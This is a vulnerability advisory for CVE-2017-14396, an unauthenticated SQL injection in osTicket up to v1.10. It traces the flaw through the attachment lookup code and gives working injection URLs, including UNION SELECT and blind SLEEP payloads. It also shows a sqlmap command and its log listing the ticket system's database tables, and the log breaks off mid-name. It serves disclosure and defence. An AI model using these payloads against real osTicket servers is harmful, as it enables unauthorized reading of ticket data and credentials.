Skip to main content

Advisory | osTicket v1.10 Unauthenticated SQL Injection (CVE-2017-14396 )

osTicket is a widely-used and trusted open source support ticket system. It seamlessly routes inquiries created via email, web-forms and phone calls into a simple, easy-to-use, multi-user, web-based customer support platform. osTicket comes packed with more features and tools than most of the expensive (and complex) support ticket systems on the market.

Advisory Informations

Remotely Exploitable: Yes
Authentication Required: NO
Versions Affected: <= v1.10
Technology: PHP
Vendor URL:
CVSSv3 Score: 10.0 (/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Date of found: 12 Sep 2017

Technical Details

While I was reviewing source code, I’ve came across with following code snippet at file.php on line 20.

//Basic checks
if (!$_GET['key']
    || !$_GET['signature']
    || !$_GET['expires']
    || !($file = AttachmentFile::lookup($_GET['key']))
) {
    Http::response(404, __('Unknown or invalid file'));

Here is the static lookup function definition of AttachmentFile class.

static function lookup($id) {

    return is_string($id)
        ? static::lookupByHash($id)
        : parent::lookup($id);

So this function checks id parameter which is user supplied. If it’s not a string, then it calls lookup function from parent class. Let’s have a look at parent::lookup.

static function lookup($criteria) {
    // Model::lookup(1), where >1< is the pk value
    $args = func_get_args();
    if (!is_array($criteria)) {
        $criteria = array();
        $pk = static::getMeta('pk');
        foreach ($args as $i=>$f)
            $criteria[$pk[$i]] = $f;

        // Only consult cache for PK lookup, which is assumed if the
        // values are passed as args rather than an array
        if ($cached = ModelInstanceManager::checkCache(get_called_class(),
            return $cached;
    try {
        return static::objects()->filter($criteria)->one();
    catch (DoesNotExist $e) {
        return null;

We need to carefully read this section. Because this section gives a hint about database layer of osTicket. If you look closer to the lines between 5-8, you will recognise that we will have something as follow.

$criteria = array(
    'ID' => 1337;

Ofcourse ID name is coming from static::getMeta('pk') call. And then we are seeing static::objects()->filter($criteria)->one(); call which is where application starts to executing sql query. The query generated by the application will be something as follow. (assuming user input is 1)

SELECT [column] FROM [table] WHERE `id` = '1';

If you remember the $criteria array created the by application; array key becomes a column name and it’s value becomes a data. Of course this data is sanitised by database layer.

The question is what will happen if the user input is an array instead of string ? Answer is SQL Injection. Let me show you how this is going to be happen.

Build an PHP Array from User Input

If you read following example, you will see that it’s possible to build an array by using square brackets at the end of parameter name.

// test.php source code

$param = $_GET['param'];
echo(is_string($param) ? "string" : "array");

// Calling that file

// Calling that file[]

Let’s see what is the array keys and values.

// test2.php source code

$param = $_GET['param'];

array(1) { 
  ["id"]=> array(1) { 
        ["user"]=> string(1) "1" 

So we are able to define array keys as well. Now, it’s time to go back to osTicket and manipulate the query..!


Let me recap user-input and generated sql query.

// Expected URL call

SELECT [column] FROM [table] WHERE `id` = '1';

// Unexpected URL call[id` = 1 UNION SELECT 1,2,3--]=1&signature=1&expires=15104725311

SELECT [column] FROM [table] WHERE `id` = 1 UNION SELECT 1,2,3--` = '1';

Converting parameters to an array and using array key as a injection point is not a something new..! (Remember Drupal 7.x sql core injection case)

Here is the sqlmap usage.

➜  sqlmap git:(master) ✗ python -u "[id%60%3D1*%23]=1&signature=1&expires=15104725311" --dbms MySQL --tables    

Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload:[id`=1 AND 3307=3307#]=1&signature=1&expires=15104725311

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload:[id`=1 AND SLEEP(5)#]=1&signature=1&expires=15104725311
[11:53:29] [INFO] testing MySQL
[11:53:29] [INFO] confirming MySQL
[11:53:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0
[11:53:29] [INFO] fetching database names
[11:53:29] [INFO] fetching number of databases
[11:53:29] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:53:29] [INFO] retrieved: 
[11:53:29] [WARNING] reflective value(s) found and filtering out
[11:53:30] [INFO] retrieved: information_schema
[11:53:39] [INFO] retrieved: osticketdb
[11:53:44] [INFO] fetching tables for databases: 'information_schema, osticketdb'
[11:53:44] [INFO] fetching number of tables for database 'osticketdb'
[11:53:44] [INFO] retrieved: 56
[11:53:45] [INFO] retrieved: ost__search
[11:53:50] [INFO] retrieved: ost_api_key
[11:53:55] [INFO] retrieved: ost_attachment
[11:54:00] [INFO] retrieved: ost_canned_response
[11:54:07] [INFO] retrieved: ost_config
[11:54:10] [INFO] retrieved: ost_content
[11:54:14] [INFO] retrieved: ost_department
[11:54:23] [INFO] retrieved: ost_draft
[11:54:27] [INFO] retrieved: ost_email
[11:54:30] [INFO] retrieved: ost_email_account
[11:54:36] [INFO] retrieved: ost_email_template
[11:54:40] [INFO] retrieved: ost_email_template_gro

Mehmet Ince

Master Ninja @ Prodaft / INVICTUS Europe.